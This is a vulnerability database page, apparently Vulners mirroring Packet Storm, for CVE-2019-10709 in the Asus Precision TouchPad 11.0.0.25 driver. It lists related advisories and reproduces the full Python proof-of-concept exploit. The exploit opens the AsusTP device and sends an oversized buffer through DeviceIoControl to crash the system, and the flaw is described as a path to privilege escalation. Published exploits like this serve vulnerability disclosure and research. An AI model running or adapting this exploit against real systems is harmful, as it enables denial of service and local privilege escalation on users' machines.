Lucene search
K

Asus Precision TouchPad 11.0.0.25 Denial Of Service / Privilege Escalation

🗓️ 30 Aug 2019 00:00:00Reported by Athanasios TserpelisType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 250 Views

Asus Precision TouchPad 11.0.0.25 Denial Of Service and Privilege Escalation vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Asus Precision TouchPad 11.0.0.25 - Denial of Service Exploit
30 Aug 201900:00
zdt
CNVD
ASUS Asus Precision TouchPad Privilege Permission and Access Control Issues Vulnerability
2 Sep 201900:00
cnvd
CVE
CVE-2019-10709
4 Sep 201911:14
cve
Cvelist
CVE-2019-10709
4 Sep 201911:14
cvelist
Exploit DB
Asus Precision TouchPad 11.0.0.25 - Denial of Service
30 Aug 201900:00
exploitdb
EUVD
EUVD-2019-2503
7 Oct 202500:30
euvd
exploitpack
Asus Precision TouchPad 11.0.0.25 - Denial of Service
30 Aug 201900:00
exploitpack
NVD
CVE-2019-10709
4 Sep 201912:15
nvd
Prion
Design/Logic Flaw
4 Sep 201912:15
prion
RedhatCVE
CVE-2019-10709
22 May 202510:25
redhatcve
Rows per page
`#!/usr/bin/python  
# Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc  
# Date: 29-08-2019  
# Exploit Author: Athanasios Tserpelis of Telspace Systems  
# Vendor Homepage: https://www.asus.com  
# Version: 11.0.0.25  
# Software Link : https://www.asus.com  
# Contact: services[@]telspace.co.za  
# Twitter: @telspacesystems (Greets to the Telspace Crew)  
# Tested on: Windows 10 RS5 x64  
# CVE: CVE-2019-10709  
  
from ctypes import *   
kernel32 = windll.kernel32   
ntdll = windll.ntdll   
NULL = 0   
hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None)   
if not hevDevice or hevDevice == -1:  
print "*** Couldn't get Device Driver handle."  
sys.exit(0)   
  
buf = "A"*12048   
raw_input("Press Enter to Trigger Vuln")   
kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation